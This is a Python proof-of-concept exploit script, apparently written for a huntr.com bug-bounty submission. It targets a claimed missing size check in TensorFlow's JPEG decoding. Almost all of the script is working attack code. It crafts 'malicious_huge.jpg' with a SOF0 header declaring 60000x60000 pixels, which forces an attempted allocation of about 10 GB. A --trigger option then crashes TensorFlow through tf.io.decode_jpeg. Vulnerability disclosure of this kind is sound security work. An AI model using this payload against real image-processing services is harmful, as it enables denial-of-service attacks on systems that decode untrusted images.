File size: 6,086 Bytes
15af1e5 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 | #!/usr/bin/env python3
"""
PoC: TensorFlow JPEG Decoder Unbounded Memory Allocation (DoS)
CVE: TBD | CWE-770 | CVSS 7.5
Vulnerability:
tensorflow/core/kernels/image/decode_image_op.cc β DecodeJpegV2 reads
height/width from the JPEG SOF header and allocates height*width*channels
bytes WITHOUT any upper bound check.
Compare with DecodeBmpV2 (SAME FILE) which checks:
OP_REQUIRES(context, total_bytes < (1LL << 30), ...)
JPEG is the MOST COMMON image format β every TF image pipeline is affected.
Attack:
Craft a JPEG with SOF0 declaring width=60000, height=60000.
TF attempts to allocate 60000 * 60000 * 3 = ~10 GB.
tf.io.decode_jpeg() on this file β OOM crash.
Unlike GIF (companion finding), JPEG affects:
- tf.io.decode_jpeg()
- tf.io.decode_image()
- tf.keras.preprocessing.image.load_img()
- All tf.data image pipelines
Usage:
python3 poc_exploit.py # generates malicious.jpg
python3 poc_exploit.py --trigger # also triggers crash via TF
Author: security research (huntr.com submission)
"""
import sys
import os
import struct
OUTPUT_FILE = 'malicious_huge.jpg'
def create_malicious_jpeg(width: int = 60000, height: int = 60000,
channels: int = 3) -> bytes:
"""
Craft a minimal JPEG file with SOF0 declaring extreme dimensions.
JPEG structure used:
SOI β APP0 (JFIF) β SOF0 (huge dimensions) β DHT β EOI
libjpeg reads SOF0 and returns width/height to TensorFlow.
TF then calls allocate_output(TensorShape({height, width, channels}))
without checking the total size.
"""
# SOI β Start of Image
data = b'\xFF\xD8'
# APP0 β JFIF marker (makes it a "valid" JPEG)
jfif = b'JFIF\x00' # identifier
jfif += struct.pack('>BB', 1, 2) # version 1.2
jfif += b'\x00' # pixel aspect ratio (none)
jfif += struct.pack('>HH', 1, 1) # pixel aspect ratio 1:1
jfif += b'\x00\x00' # no thumbnail
data += b'\xFF\xE0' + struct.pack('>H', len(jfif) + 2) + jfif
# SOF0 β Start of Frame (Baseline DCT)
# This is where TF reads the dimensions
# Format: length(2) | precision(1) | height(2) | width(2) | n_components(1)
# [component_id(1) | sampling(1) | qt_id(1)] * n_components
precision = 8 # bits per sample
sof0_body = struct.pack('>B', precision)
sof0_body += struct.pack('>H', height) # β HUGE HEIGHT
sof0_body += struct.pack('>H', width) # β HUGE WIDTH
sof0_body += struct.pack('>B', channels)
for comp_id in range(1, channels + 1):
sof0_body += struct.pack('>BBB', comp_id, 0x11, 0) # id, sampling, qt
sof0_length = len(sof0_body) + 2 # +2 for length field itself
data += b'\xFF\xC0' + struct.pack('>H', sof0_length) + sof0_body
# DHT β Define Huffman Table (minimal, required for valid JPEG)
# Minimal: DC table class=0, id=0, all zero counts
dht_body = bytes([0x00]) # table class 0, id 0
dht_body += bytes([0] * 16) # zero counts for all lengths
# No symbols needed for empty table
data += b'\xFF\xC4' + struct.pack('>H', len(dht_body) + 2) + dht_body
# DQT β Define Quantization Table (minimal)
dqt_body = bytes([0x00]) # precision 0, table id 0
dqt_body += bytes([16] * 64) # 64 quantization values
data += b'\xFF\xDB' + struct.pack('>H', len(dqt_body) + 2) + dqt_body
# SOS β Start of Scan (triggers actual decode)
sos_body = struct.pack('>B', channels)
for comp_id in range(1, channels + 1):
sos_body += struct.pack('>BB', comp_id, 0x00) # comp_id, dc/ac table
sos_body += bytes([0, 63, 0]) # Ss, Se, Ah/Al (progressive params)
data += b'\xFF\xDA' + struct.pack('>H', len(sos_body) + 2) + sos_body
# Minimal scan data (all zeros β valid compressed data for empty image)
data += b'\xFF\x00' * 4 # escaped 0xFF bytes in scan data
data += b'\x00' * 8 # scan payload
# EOI β End of Image
data += b'\xFF\xD9'
total_bytes_attempt = height * width * channels
bmp_limit = 1 << 30 # 1,073,741,824 bytes
print(f"[*] Crafted malicious JPEG:")
print(f" Dimensions : {width:,} x {height:,} x {channels} (RGB)")
print(f" Alloc attempt: {total_bytes_attempt:,} bytes = "
f"{total_bytes_attempt / 1e9:.1f} GB")
print(f" File size : {len(data)} bytes (minimal header)")
print(f" BMP limit : {bmp_limit:,} bytes (2^30) β would BLOCK")
print(f" PNG limit : {1<<29:,} bytes (2^29) β would BLOCK")
print(f" JPEG limit : NONE β TF allocates {total_bytes_attempt/1e9:.1f} GB β CRASH")
return data
def main():
trigger = '--trigger' in sys.argv
payload = create_malicious_jpeg()
with open(OUTPUT_FILE, 'wb') as f:
f.write(payload)
print(f"\n[+] Malicious JPEG written: {OUTPUT_FILE} ({os.path.getsize(OUTPUT_FILE)} bytes)")
if trigger:
print(f"\n[*] Triggering via tf.io.decode_jpeg()...")
try:
import tensorflow as tf
print(f" TensorFlow version: {tf.__version__}")
jpeg_bytes = open(OUTPUT_FILE, 'rb').read()
# Primary trigger
result = tf.io.decode_jpeg(jpeg_bytes, channels=3)
print(f"[-] Unexpected success: shape={result.shape}")
except Exception as e:
name = type(e).__name__
if 'OOM' in str(e) or 'ResourceExhausted' in name or 'Memory' in name:
print(f"[+] CRASH CONFIRMED: {name}")
print(f" TF attempted to allocate a {60000*60000*3/1e9:.1f} GB tensor")
else:
print(f"[~] Exception: {name}: {e}")
else:
print(f"\n[i] Run with --trigger to demonstrate the crash:")
print(f" python3 {sys.argv[0]} --trigger")
print(f"\n Also works via:")
print(f" >>> import tensorflow as tf")
print(f" >>> tf.io.decode_image(open('{OUTPUT_FILE}','rb').read())")
if __name__ == '__main__':
main()
|